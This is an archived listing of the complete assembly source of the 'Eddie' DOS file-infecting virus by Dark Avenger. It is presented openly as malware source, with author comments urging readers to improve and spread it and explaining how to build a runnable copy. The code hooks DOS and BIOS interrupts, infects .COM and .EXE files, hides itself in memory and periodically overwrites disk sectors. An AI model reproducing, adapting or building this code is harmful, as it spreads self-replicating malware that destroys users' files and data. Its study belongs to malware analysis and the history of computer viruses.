home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-E.ZIP / EDDIE-B.ASM < prev    next >
Assembly Source File  |  1992-11-07  |  29KB  |  987 lines

  1. ;************************
  2. ;*                      *
  3. ;*      E D D I E       *
  4. ;*                      *
  5. ;*   by  Dark Avenger   *
  6. ;*                      *
  7. ;*      3-JAN-1989      *
  8. ;*                      *
  9. ;*     version 1.31x    *
  10. ;*                      *
  11. ;************************
  12.  
  13. ; "Blessed is he who expects nothing, for he shall not be disappointed."
  14.  
  15. ; The original source of one of the first Bulgarian viruses is in front of
  16. ; you.  As you may notice, it's full of rubbish and bugs, but nevertheless
  17. ; the virus has spread surprisingly quickly throughout the country and made a
  18. ; quick round the globe.  (It's well-known in Eastern and Western Europe, as
  19. ; well as in USA.) Due to the anniversary of its creation, the source is
  20. ; distributed freely.  You have the rights to distribute the source which can
  21. ; be charged or free of charge, with the only condition not to modify it.
  22. ; The one who intentionally distributes this source modified in any way will
  23. ; be punished!  Still, the author will be glad if any of you improves it and
  24. ; spreads the resulting executive file (i.e., the virus itself).  Pay
  25. ; attention to the fact that after you assemble the source, the resulting
  26. ; .COM file cannot be run.  For that purpose you have to create a three byte
  27. ; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
  28. ; two files.  Don't try to place a JMP at the beginning of the source.
  29.  
  30. ; DISCLAIMER: The author does not take any responsability for any damage,
  31. ; either direct or implied, caused by the usage or not of this source or of
  32. ; the resulting code after assembly. No warranty is made about the product
  33. ; functionability or quality.
  34.  
  35. ; I cannot resist to express my special gratitude to my "populizer" Dipl.
  36. ; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
  37. ; not, helps very much in the spreading of my viruses, in spite of the fact
  38. ; that he tries to do just the opposite (writing programs in C has never
  39. ; led to any good).
  40. ; Greetings to all virus writers!
  41.  
  42. code    segment
  43.         assume  cs:code,ds:code
  44. copyright:
  45.         db      'Eddie lives...somewhere in time!',0
  46. date_stamp:
  47.         dd      12239000h
  48. checksum:
  49.         db      30
  50.  
  51. ; Return the control to an .EXE file:
  52. ; Restores DS=ES=PSP, loads SS:SP and CS:IP.
  53.  
  54. exit_exe:
  55.         mov     bx,es
  56.         add     bx,10h
  57.         add     bx,word ptr cs:[si+call_adr+2]
  58.         mov     word ptr cs:[si+patch+2],bx
  59.         mov     bx,word ptr cs:[si+call_adr]
  60.         mov     word ptr cs:[si+patch],bx
  61.         mov     bx,es
  62.         add     bx,10h
  63.         add     bx,word ptr cs:[si+stack_pointer+2]
  64.         mov     ss,bx
  65.         mov     sp,word ptr cs:[si+stack_pointer]
  66.         db      0eah                    ;JMP XXXX:YYYY
  67. patch:
  68.         dd      0
  69.  
  70. ; Returns control to a .COM file:
  71. ; Restores the first 3 bytes in the
  72. ; beginning of the file, loads SP and IP.
  73.  
  74. exit_com:
  75.         mov     di,100h
  76.         add     si,offset my_save
  77.         movsb
  78.         movsw
  79.         mov     sp,ds:[6]               ;This is incorrect
  80.         xor     bx,bx
  81.         push    bx
  82.         jmp     [si-11]                 ;si+call_adr-top_file
  83.  
  84. ; Program entry point
  85.  
  86. startup:
  87.         call    relative
  88. relative:
  89.         pop     si                      ;SI = $
  90.         sub     si,offset relative
  91.         cld
  92.         cmp     word ptr cs:[si+my_save],5a4dh
  93.         je      exe_ok
  94.         cli
  95.         mov     sp,si                   ;A separate stack is supported for
  96.         add     sp,offset top_file+100h ;the .COM files, in order not to
  97.         sti                             ;overlap the stack by the program
  98.         cmp     sp,ds:[6]
  99.         jnc     exit_com
  100. exe_ok:
  101.         push    ax
  102.         push    es
  103.         push    si
  104.         push    ds
  105.         mov     di,si
  106.  
  107. ; Looking for the address of INT 13h handler in ROM-BIOS
  108.  
  109.         xor     ax,ax
  110.         push    ax
  111.         mov     ds,ax
  112.         les     ax,ds:[13h*4]
  113.         mov     word ptr cs:[si+fdisk],ax
  114.         mov     word ptr cs:[si+fdisk+2],es
  115.         mov     word ptr cs:[si+disk],ax
  116.         mov     word ptr cs:[si+disk+2],es
  117.         mov     ax,ds:[40h*4+2]         ;The INT 13h vector is moved to INT 40h
  118.         cmp     ax,0f000h               ;for diskettes if a hard disk is
  119.         jne     nofdisk                 ;available
  120.         mov     word ptr cs:[si+disk+2],ax
  121.         mov     ax,ds:[40h*4]
  122.         mov     word ptr cs:[si+disk],ax
  123.         mov     dl,80h
  124.         mov     ax,ds:[41h*4+2]         ;INT 41h usually points to the segment,
  125.         cmp     ax,0f000h               ;where the original INT 13h vector is
  126.         je      isfdisk
  127.         cmp     ah,0c8h
  128.         jc      nofdisk
  129.         cmp     ah,0f4h
  130.         jnc     nofdisk
  131.         test    al,7fh
  132.         jnz     nofdisk
  133.         mov     ds,ax
  134.         cmp     ds:[0],0aa55h
  135.         jne     nofdisk
  136.         mov     dl,ds:[2]
  137. isfdisk:
  138.         mov     ds,ax
  139.         xor     dh,dh
  140.         mov     cl,9
  141.         shl     dx,cl
  142.         mov     cx,dx
  143.         xor     si,si
  144. findvect:
  145.         lodsw                           ;Occasionally begins with:
  146.         cmp     ax,0fa80h               ;       CMP     DL,80h
  147.         jne     altchk                  ;       JNC     somewhere
  148.         lodsw
  149.         cmp     ax,7380h
  150.         je      intchk
  151.         jne     nxt0
  152. altchk:
  153.         cmp     ax,0c2f6h               ;or with:
  154.         jne     nxt                     ;       TEST    DL,80h
  155.         lodsw                           ;       JNZ     somewhere
  156.         cmp     ax,7580h
  157.         jne     nxt0
  158. intchk:
  159.         inc     si                      ;then there is:
  160.         lodsw                           ;       INT     40h
  161.         cmp     ax,40cdh
  162.         je      found
  163.         sub     si,3
  164. nxt0:
  165.         dec     si
  166.         dec     si
  167. nxt:
  168.         dec     si
  169.         loop    findvect
  170.         jmp     short nofdisk
  171. found:
  172.         sub     si,7
  173.         mov     word ptr cs:[di+fdisk],si
  174.         mov     word ptr cs:[di+fdisk+2],ds
  175. nofdisk:
  176.         mov     si,di
  177.         pop     ds
  178.  
  179. ; Check for program is present in memory:
  180.  
  181.         les     ax,ds:[21h*4]
  182.         mov     word ptr cs:[si+save_int_21],ax
  183.         mov     word ptr cs:[si+save_int_21+2],es
  184.         push    cs
  185.         pop     ds
  186.         cmp     ax,offset int_21
  187.         jne     bad_func
  188.         xor     di,di
  189.         mov     cx,offset my_size
  190. scan_func:
  191.         lodsb
  192.         scasb
  193.         jne     bad_func
  194.         loop    scan_func
  195.         pop     es
  196.         jmp     go_program
  197.  
  198. ; Move the program to the top of memory:
  199. ; (it's full of rubbish and bugs here)
  200.  
  201. bad_func:
  202.         pop     es
  203.         mov     ah,49h
  204.         int     21h
  205.         mov     bx,0ffffh
  206.         mov     ah,48h
  207.         int     21h
  208.         sub     bx,(top_bz+my_bz+1ch-1)/16+2
  209.         jc      go_program
  210.         mov     cx,es
  211.         stc
  212.         adc     cx,bx
  213.         mov     ah,4ah
  214.         int     21h
  215.         mov     bx,(offset top_bz+offset my_bz+1ch-1)/16+1
  216.         stc
  217.         sbb     es:[2],bx
  218.         push    es
  219.         mov     es,cx
  220.         mov     ah,4ah
  221.         int     21h
  222.         mov     ax,es
  223.         dec     ax
  224.         mov     ds,ax
  225.         mov     word ptr ds:[1],8
  226.         call    mul_16
  227.         mov     bx,ax
  228.         mov     cx,dx
  229.         pop     ds
  230.         mov     ax,ds
  231.         call    mul_16
  232.         add     ax,ds:[6]
  233.         adc     dx,0
  234.         sub     ax,bx
  235.         sbb     dx,cx
  236.         jc      mem_ok
  237.         sub     ds:[6],ax               ;Reduction of the segment size
  238. mem_ok:
  239.         pop     si
  240.         push    si
  241.         push    ds
  242.         push    cs
  243.         xor     di,di
  244.         mov     ds,di
  245.         lds     ax,ds:[27h*4]
  246.         mov     word ptr cs:[si+save_int_27],ax
  247.         mov     word ptr cs:[si+save_int_27+2],ds
  248.         pop     ds
  249.         mov     cx,offset aux_size
  250.         rep     movsb
  251.         xor     ax,ax
  252.         mov     ds,ax
  253.         mov     ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
  254.         mov     ds:[21h*4+2],es
  255.         mov     ds:[27h*4],offset int_27
  256.         mov     ds:[27h*4+2],es
  257.         mov     word ptr es:[filehndl],ax
  258.         pop     es
  259. go_program:
  260.         pop     si
  261.  
  262. ; Smash the next disk sector:
  263.  
  264.         xor     ax,ax
  265.         mov     ds,ax
  266.         mov     ax,ds:[13h*4]
  267.         mov     word ptr cs:[si+save_int_13],ax
  268.         mov     ax,ds:[13h*4+2]
  269.         mov     word ptr cs:[si+save_int_13+2],ax
  270.         mov     ds:[13h*4],offset int_13
  271.         add     ds:[13h*4],si
  272.         mov     ds:[13h*4+2],cs
  273.         pop     ds
  274.         push    ds
  275.         push    si
  276.         mov     bx,si
  277.         lds     ax,ds:[2ah]
  278.         xor     si,si
  279.         mov     dx,si
  280. scan_envir:                             ;Fetch program's name
  281.         lodsw                           ;(with DOS 2.x it doesn't work anyway)
  282.         dec     si
  283.         test    ax,ax
  284.         jnz     scan_envir
  285.         add     si,3
  286.         lodsb
  287.  
  288. ; The following instruction is complete nonsense.  Try to enter a drive &
  289. ; directory path in lowercase, then run an infected program from there.
  290. ; As a result of an error here and an error in DOS the next sector is not
  291. ; smashed. Two memory bytes are smashed instead, most probably onto the
  292. ; infected program.
  293.  
  294.         sub     al,'A'
  295.         mov     cx,1
  296.         push    cs
  297.         pop     ds
  298.         add     bx,offset int_27
  299.         push    ax
  300.         push    bx
  301.         push    cx
  302.         int     25h
  303.         pop     ax
  304.         pop     cx
  305.         pop     bx
  306.         inc     byte ptr [bx+0ah]
  307.         and     byte ptr [bx+0ah],0fh   ;It seems that 15 times doing
  308.         jnz     store_sec               ;nothing is not enough for some.
  309.         mov     al,[bx+10h]
  310.         xor     ah,ah
  311.         mul     word ptr [bx+16h]
  312.         add     ax,[bx+0eh]
  313.         push    ax
  314.         mov     ax,[bx+11h]
  315.         mov     dx,32
  316.         mul     dx
  317.         div     word ptr [bx+0bh]
  318.         pop     dx
  319.         add     dx,ax
  320.         mov     ax,[bx+8]
  321.         add     ax,40h
  322.         cmp     ax,[bx+13h]
  323.         jc      store_new
  324.         inc     ax
  325.         and     ax,3fh
  326.         add     ax,dx
  327.         cmp     ax,[bx+13h]
  328.         jnc     small_disk
  329. store_new:
  330.         mov     [bx+8],ax
  331. store_sec:
  332.         pop     ax
  333.         xor     dx,dx
  334.         push    ax
  335.         push    bx
  336.         push    cx
  337.         int     26h
  338.  
  339. ; The writing through this interrupt is not the smartest thing, because it
  340. ; can be intercepted (what Vesselin Bontchev has managed to notice).
  341.  
  342.         pop     ax
  343.         pop     cx
  344.         pop     bx
  345.         pop     ax
  346.         cmp     byte ptr [bx+0ah],0
  347.         jne     not_now
  348.         mov     dx,[bx+8]
  349.         pop     bx
  350.         push    bx
  351.         int     26h
  352. small_disk:
  353.         pop     ax
  354. not_now:
  355.         pop     si
  356.         xor     ax,ax
  357.         mov     ds,ax
  358.         mov     ax,word ptr cs:[si+save_int_13]
  359.         mov     ds:[13h*4],ax
  360.         mov     ax,word ptr cs:[si+save_int_13+2]
  361.         mov     ds:[13h*4+2],ax
  362.         pop     ds
  363.         pop     ax
  364.         cmp     word ptr cs:[si+my_save],5a4dh
  365.         jne     go_exit_com
  366.         jmp     exit_exe
  367. go_exit_com:
  368.         jmp     exit_com
  369. int_24:
  370.         mov     al,3                    ;This instruction seems unnecessary
  371.         iret
  372.  
  373. ; INT 27h handler (this is necessary)
  374.  
  375. int_27:
  376.         pushf
  377.         call    alloc
  378.         popf
  379.         jmp     dword ptr cs:[save_int_27]
  380.  
  381. ; During the DOS functions Set & Get Vector it seems that the virus has not
  382. ; intercepted them (this is a doubtful advantage and it is a possible
  383. ; source of errors with some "intelligent" programs)
  384.  
  385. set_int_27:
  386.         mov     word ptr cs:[save_int_27],dx
  387.         mov     word ptr cs:[save_int_27+2],ds
  388.         popf
  389.         iret
  390. set_int_21:
  391.         mov     word ptr cs:[save_int_21],dx
  392.         mov     word ptr cs:[save_int_21+2],ds
  393.         popf
  394.         iret
  395. get_int_27:
  396.         les     bx,dword ptr cs:[save_int_27]
  397.         popf
  398.         iret
  399. get_int_21:
  400.         les     bx,dword ptr cs:[save_int_21]
  401.         popf
  402.         iret
  403.  
  404. exec:
  405.         call    do_file
  406.         call    alloc
  407.         popf
  408.         jmp     dword ptr cs:[save_int_21]
  409.  
  410.         db      'Diana P.',0
  411.  
  412. ; INT 21h handler.  Infects files during execution, copying, browsing or
  413. ; creating and some other operations. The execution of functions 0 and 26h
  414. ; has bad consequences.
  415.  
  416. int_21:
  417.         push    bp
  418.         mov     bp,sp
  419.         push    [bp+6]
  420.         popf
  421.         pop     bp
  422.         pushf
  423.         call    ontop
  424.         cmp     ax,2521h
  425.         je      set_int_21
  426.         cmp     ax,2527h
  427.         je      set_int_27
  428.         cmp     ax,3521h
  429.         je      get_int_21
  430.         cmp     ax,3527h
  431.         je      get_int_27
  432.         cld
  433.         cmp     ax,4b00h
  434.         je      exec
  435.         cmp     ah,3ch
  436.         je      create
  437.         cmp     ah,3eh
  438.         je      close
  439.         cmp     ah,5bh
  440.         jne     not_create
  441. create:
  442.         cmp     word ptr cs:[filehndl],0;May be 0 if the file is open
  443.         jne     dont_touch
  444.         call    see_name
  445.         jnz     dont_touch
  446.         call    alloc
  447.         popf
  448.         call    function
  449.         jc      int_exit
  450.         pushf
  451.         push    es
  452.         push    cs
  453.         pop     es
  454.         push    si
  455.         push    di
  456.         push    cx
  457.         push    ax
  458.         mov     di,offset filehndl
  459.         stosw
  460.         mov     si,dx
  461.         mov     cx,65
  462. move_name:
  463.         lodsb
  464.         stosb
  465.         test    al,al
  466.         jz      all_ok
  467.         loop    move_name
  468.         mov     word ptr es:[filehndl],cx
  469. all_ok:
  470.         pop     ax
  471.         pop     cx
  472.         pop     di
  473.         pop     si
  474.         pop     es
  475. go_exit:
  476.         popf
  477.         jnc     int_exit                ;JMP
  478. close:
  479.         cmp     bx,word ptr cs:[filehndl]
  480.         jne     dont_touch
  481.         test    bx,bx
  482.         jz      dont_touch
  483.         call    alloc
  484.         popf
  485.         call    function
  486.         jc      int_exit
  487.         pushf
  488.         push    ds
  489.         push    cs
  490.         pop     ds
  491.         push    dx
  492.         mov     dx,offset filehndl+2
  493.         call    do_file
  494.         mov     word ptr cs:[filehndl],0
  495.         pop     dx
  496.         pop     ds
  497.         jmp     go_exit
  498. not_create:
  499.         cmp     ah,3dh
  500.         je      touch
  501.         cmp     ah,43h
  502.         je      touch
  503.         cmp     ah,56h                  ;Unfortunately, the command inter-
  504.         jne     dont_touch              ;preter does not use this function
  505. touch:
  506.         call    see_name
  507.         jnz     dont_touch
  508.         call    do_file
  509. dont_touch:
  510.         call    alloc
  511.         popf
  512.         call    function
  513. int_exit:
  514.         pushf
  515.         push    ds
  516.         call    get_chain
  517.         mov     byte ptr ds:[0],'Z'
  518.         pop     ds
  519.         popf
  520. dummy   proc    far                     ;???
  521.         ret     2
  522. dummy   endp
  523.  
  524. ; Checks whether the file is .COM or .EXE.
  525. ; It is not called upon file execution.
  526.  
  527. see_name:
  528.         push    ax
  529.         push    si
  530.         mov     si,dx
  531. scan_name:
  532.         lodsb
  533.         test    al,al
  534.         jz      bad_name
  535.         cmp     al,'.'
  536.         jnz     scan_name
  537.         call    get_byte
  538.         mov     ah,al
  539.         call    get_byte
  540.         cmp     ax,'co'
  541.         jz      pos_com
  542.         cmp     ax,'ex'
  543.         jnz     good_name
  544.         call    get_byte
  545.         cmp     al,'e'
  546.         jmp     short good_name
  547. pos_com:
  548.         call    get_byte
  549.         cmp     al,'m'
  550.         jmp     short good_name
  551. bad_name:
  552.         inc     al
  553. good_name:
  554.         pop     si
  555.         pop     ax
  556.         ret
  557.  
  558. ; Converts into lowercase (the subroutines are a great thing).
  559.  
  560. get_byte:
  561.         lodsb
  562.         cmp     al,'C'
  563.         jc      byte_got
  564.         cmp     al,'Y'
  565.         jnc     byte_got
  566.         add     al,20h
  567. byte_got:
  568.         ret
  569.  
  570. ; Calls the original INT 21h.
  571.  
  572. function:
  573.         pushf
  574.         call    dword ptr cs:[save_int_21]
  575.         ret
  576.  
  577. ; Arrange to infect an executable file.
  578.  
  579. do_file:
  580.         push    ds                      ;Save the registers in stack
  581.         push    es
  582.         push    si
  583.         push    di
  584.         push    ax
  585.         push    bx
  586.         push    cx
  587.         push    dx
  588.         mov     si,ds
  589.         xor     ax,ax
  590.         mov     ds,ax
  591.         les     ax,ds:[24h*4]           ;Saves INT 13h and INT 24h in stack
  592.         push    es                      ;and changes them with what is needed
  593.         push    ax
  594.         mov     ds:[24h*4],offset int_24
  595.         mov     ds:[24h*4+2],cs
  596.         les     ax,ds:[13h*4]
  597.         mov     word ptr cs:[save_int_13],ax
  598.         mov     word ptr cs:[save_int_13+2],es
  599.         mov     ds:[13h*4],offset int_13
  600.         mov     ds:[13h*4+2],cs
  601.         push    es
  602.         push    ax
  603.         mov     ds,si
  604.         xor     cx,cx                   ;Arranges to infect Read-only files
  605.         mov     ax,4300h
  606.         call    function
  607.         mov     bx,cx
  608.         and     cl,0feh
  609.         cmp     cl,bl
  610.         je      dont_change
  611.         mov     ax,4301h
  612.         call    function
  613.         stc
  614. dont_change:
  615.         pushf
  616.         push    ds
  617.         push    dx
  618.         push    bx
  619.         mov     ax,3d02h                ;Now we can safely open the file
  620.         call    function
  621.         jc      cant_open
  622.         mov     bx,ax
  623.         call    disease
  624.         mov     ah,3eh                  ;Close it
  625.  
  626.         call    function
  627. cant_open:
  628.         pop     cx
  629.         pop     dx
  630.         pop     ds
  631.         popf
  632.         jnc     no_update
  633.         mov     ax,4301h                ;Restores file's attributes
  634.         call    function                ;if they were changed (just in case)
  635. no_update:
  636.         xor     ax,ax                   ;Restores INT 13h and INT 24h
  637.         mov     ds,ax
  638.         pop     ds:[13h*4]
  639.         pop     ds:[13h*4+2]
  640.         pop     ds:[24h*4]
  641.         pop     ds:[24h*4+2]
  642.         pop     dx                      ;Register restoration
  643.         pop     cx
  644.         pop     bx
  645.         pop     ax
  646.         pop     di
  647.         pop     si
  648.         pop     es
  649.         pop     ds
  650.         ret
  651.  
  652. ; This routine is the working horse.
  653.  
  654. disease:
  655.         push    cs
  656.         pop     ds
  657.         push    cs
  658.         pop     es
  659.         mov     dx,offset top_save      ;Read the file beginning
  660.         mov     cx,18h
  661.         mov     ah,3fh
  662.         int     21h
  663.         xor     cx,cx
  664.         xor     dx,dx
  665.         mov     ax,4202h                ;Save file length
  666.         int     21h
  667.         mov     word ptr [top_save+1ah],dx
  668.         cmp     ax,offset my_size       ;This should be top_file
  669.         sbb     dx,0
  670.         jc      stop_fuck_2             ;Small files are not infected
  671.         mov     word ptr [top_save+18h],ax
  672.         cmp     word ptr [top_save],5a4dh
  673.         jne     com_file
  674.         mov     ax,word ptr [top_save+8]
  675.         add     ax,word ptr [top_save+16h]
  676.         call    mul_16
  677.         add     ax,word ptr [top_save+14h]
  678.         adc     dx,0
  679.         mov     cx,dx
  680.         mov     dx,ax
  681.         jmp     short see_sick
  682. com_file:
  683.         cmp     byte ptr [top_save],0e9h
  684.         jne     see_fuck
  685.         mov     dx,word ptr [top_save+1]
  686.         add     dx,103h
  687.         jc      see_fuck
  688.         dec     dh
  689.         xor     cx,cx
  690.  
  691. ; Check if the file is properly infected
  692.  
  693. see_sick:
  694.         sub     dx,startup-copyright
  695.         sbb     cx,0
  696.         mov     ax,4200h
  697.         int     21h
  698.         add     ax,offset top_file
  699.         adc     dx,0
  700.         cmp     ax,word ptr [top_save+18h]
  701.         jne     see_fuck
  702.         cmp     dx,word ptr [top_save+1ah]
  703.         jne     see_fuck
  704.         mov     dx,offset top_save+1ch
  705.         mov     si,dx
  706.         mov     cx,offset my_size
  707.         mov     ah,3fh
  708.         int     21h
  709.         jc      see_fuck
  710.         cmp     cx,ax
  711.         jne     see_fuck
  712.         xor     di,di
  713. next_byte:
  714.  
  715.         lodsb
  716.         scasb
  717.         jne     see_fuck
  718.         loop    next_byte
  719. stop_fuck_2:
  720.         ret
  721. see_fuck:
  722.         xor     cx,cx                   ;Seek to the end of file
  723.         xor     dx,dx
  724.         mov     ax,4202h
  725.         int     21h
  726.         cmp     word ptr [top_save],5a4dh
  727.         je      fuck_exe
  728.         add     ax,offset aux_size+200h ;Watch out for too big .COM files
  729.         adc     dx,0
  730.         je      fuck_it
  731.         ret
  732.  
  733. ; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
  734.  
  735. fuck_exe:
  736.         mov     dx,word ptr [top_save+18h]
  737.         neg     dl
  738.         and     dx,0fh
  739.         xor     cx,cx
  740.         mov     ax,4201h
  741.         int     21h
  742.         mov     word ptr [top_save+18h],ax
  743.         mov     word ptr [top_save+1ah],dx
  744. fuck_it:
  745.         mov     ax,5700h                ;Get file's date
  746.         int     21h
  747.         pushf
  748.         push    cx
  749.         push    dx
  750.         cmp     word ptr [top_save],5a4dh
  751.         je      exe_file                ;Very clever, isn't it?
  752.         mov     ax,100h
  753.         jmp     short set_adr
  754. exe_file:
  755.         mov     ax,word ptr [top_save+14h]
  756.         mov     dx,word ptr [top_save+16h]
  757. set_adr:
  758.         mov     di,offset call_adr
  759.         stosw
  760.         mov     ax,dx
  761.         stosw
  762.         mov     ax,word ptr [top_save+10h]
  763.         stosw
  764.         mov     ax,word ptr [top_save+0eh]
  765.         stosw
  766.         mov     si,offset top_save      ;This offers the possibilities to
  767.         movsb                           ;some nasty programs to restore
  768.         movsw                           ;exactly the original length
  769.         xor     dx,dx                   ;of the .EXE files
  770.         mov     cx,offset top_file
  771.         mov     ah,40h
  772.         int     21h                     ;Write the virus
  773.         jc      go_no_fuck              ;(don't trace here)
  774.         xor     cx,ax
  775.         jnz     go_no_fuck
  776.         mov     dx,cx
  777.         mov     ax,4200h
  778.         int     21h
  779.         cmp     word ptr [top_save],5a4dh
  780.         je      do_exe
  781.         mov     byte ptr [top_save],0e9h
  782.         mov     ax,word ptr [top_save+18h]
  783.         add     ax,startup-copyright-3
  784.         mov     word ptr [top_save+1],ax
  785.         mov     cx,3
  786.         jmp     short write_header
  787. go_no_fuck:
  788.         jmp     short no_fuck
  789.  
  790. ; Construct the .EXE file's header
  791.  
  792. do_exe:
  793.         call    mul_hdr
  794.         not     ax
  795.         not     dx
  796.         inc     ax
  797.         jne     calc_offs
  798.         inc     dx
  799. calc_offs:
  800.         add     ax,word ptr [top_save+18h]
  801.         adc     dx,word ptr [top_save+1ah]
  802.         mov     cx,10h
  803.         div     cx
  804.         mov     word ptr [top_save+14h],startup-copyright
  805.         mov     word ptr [top_save+16h],ax
  806.         add     ax,(offset top_file-offset copyright-1)/16+1
  807.         mov     word ptr [top_save+0eh],ax
  808.         mov     word ptr [top_save+10h],100h
  809.         add     word ptr [top_save+18h],offset top_file
  810.         adc     word ptr [top_save+1ah],0
  811.         mov     ax,word ptr [top_save+18h]
  812.         and     ax,1ffh
  813.         mov     word ptr [top_save+2],ax
  814.         pushf
  815.         mov     ax,word ptr [top_save+19h]
  816.         shr     byte ptr [top_save+1bh],1
  817.         rcr     ax,1
  818.         popf
  819.         jz      update_len
  820.         inc     ax
  821. update_len:
  822.         mov     word ptr [top_save+4],ax
  823.         mov     cx,18h
  824. write_header:
  825.         mov     dx,offset top_save
  826.         mov     ah,40h
  827.         int     21h                     ;Write the file beginning
  828. no_fuck:
  829.         pop     dx
  830.         pop     cx
  831.         popf
  832.         jc      stop_fuck
  833.         mov     ax,5701h                ;Restore the original file date
  834.         int     21h
  835. stop_fuck:
  836.         ret
  837.  
  838. ; The following is used by the INT 21h and INT 27h handlers in connection
  839. ; to the program hiding in memory from those who don't need to see it.
  840. ; The whole system is absurd and meaningless and it is also another source
  841. ; for program conflicts.
  842.  
  843. alloc:
  844.         push    ds
  845.         call    get_chain
  846.         mov     byte ptr ds:[0],'M'
  847.         pop     ds
  848.  
  849. ; Assures that the program is the first one in the processes,
  850. ; which have intercepted INT 21h (yet another source of conflicts).
  851.  
  852. ontop:
  853.         push    ds
  854.         push    ax
  855.         push    bx
  856.         push    dx
  857.         xor     bx,bx
  858.         mov     ds,bx
  859.         lds     dx,ds:[21h*4]
  860.         cmp     dx,offset int_21
  861.         jne     search_segment
  862.         mov     ax,ds
  863.         mov     bx,cs
  864.         cmp     ax,bx
  865.         je      test_complete
  866.  
  867. ; Searches the segment of the sucker who has intercepted INT 21h, in
  868. ; order to find where it has stored the old values and to replace them.
  869. ; Nothing is done for INT 27h.
  870.  
  871.         xor     bx,bx
  872. search_segment:
  873.         mov     ax,[bx]
  874.         cmp     ax,offset int_21
  875.         jne     search_next
  876.         mov     ax,cs
  877.         cmp     ax,[bx+2]
  878.         je      got_him
  879. search_next:
  880.         inc     bx
  881.         jne     search_segment
  882.         je      return_control
  883. got_him:
  884.         mov     ax,word ptr cs:[save_int_21]
  885.         mov     [bx],ax
  886.         mov     ax,word ptr cs:[save_int_21+2]
  887.         mov     [bx+2],ax
  888.         mov     word ptr cs:[save_int_21],dx
  889.         mov     word ptr cs:[save_int_21+2],ds
  890.         xor     bx,bx
  891.  
  892. ; Even if he has not saved them in the same segment, this won't help him.
  893.  
  894. return_control:
  895.         mov     ds,bx
  896.         mov     ds:[21h*4],offset int_21
  897.         mov     ds:[21h*4+2],cs
  898. test_complete:
  899.         pop     dx
  900.         pop     bx
  901.         pop     ax
  902.         pop     ds
  903.         ret
  904.  
  905. ; Fetch the segment of the last MCB
  906.  
  907. get_chain:
  908.         push    ax
  909.         push    bx
  910.         mov     ah,62h
  911.         call    function
  912.         mov     ax,cs
  913.         dec     ax
  914.         dec     bx
  915. next_blk:
  916.         mov     ds,bx
  917.         stc
  918.         adc     bx,ds:[3]
  919.         cmp     bx,ax
  920.         jc      next_blk
  921.         pop     bx
  922.         pop     ax
  923.         ret
  924.  
  925. ; Multiply by 16
  926.  
  927. mul_hdr:
  928.         mov     ax,word ptr [top_save+8]
  929. mul_16:
  930.         mov     dx,10h
  931.         mul     dx
  932.         ret
  933.  
  934.         db      'This program was written in the city of Sofia '
  935.         db      '(C) 1988-89 Dark Avenger',0
  936.  
  937. ; INT 13h handler.
  938. ; Calls the original vectors in BIOS, if it's a writing call
  939.  
  940. int_13:
  941.         cmp     ah,3
  942.         jnz     subfn_ok
  943.         cmp     dl,80h
  944.         jnc     hdisk
  945.         db      0eah                    ;JMP XXXX:YYYY
  946. my_size:                                ;--- Up to here comparison
  947. disk:                                   ; with the original is made
  948.         dd      0
  949. hdisk:
  950.         db      0eah                    ;JMP XXXX:YYYY
  951. fdisk:
  952.         dd      0
  953. subfn_ok:
  954.         db      0eah                    ;JMP XXXX:YYYY
  955. save_int_13:
  956.         dd      0
  957. call_adr:
  958.         dd      100h
  959.  
  960. stack_pointer:
  961.         dd      0                       ;The original value of SS:SP
  962. my_save:
  963.         int     20h                     ;The original contents of the first
  964.         nop                             ;3 bytes of the file
  965. top_file:                               ;--- Up to here the code is written
  966. filehndl    equ $                       ; in the files
  967. filename    equ filehndl+2              ;Buffer for the name of the opened file
  968. save_int_27 equ filename+65             ;Original INT 27h vector
  969. save_int_21 equ save_int_27+4           ;Original INT 21h vector
  970. aux_size    equ save_int_21+4           ;--- Up to here is moved into memory
  971. top_save    equ save_int_21+4           ;Beginning of the buffer, that contains
  972.                                         ; - The first 24 bytes read from file
  973.                                         ; - File length (4 bytes)
  974.                                         ; - The last bytes of the file
  975.                                         ;   (my_size bytes)
  976. top_bz      equ top_save-copyright
  977. my_bz       equ my_size-copyright
  978.  
  979. code    ends
  980.         end
  981.  
  982. ; ─────────────────────────────────────────────────────────────────────────
  983. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  984. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  985. ; ─────────────────────────────────────────────────────────────────────────
  986.  
  987.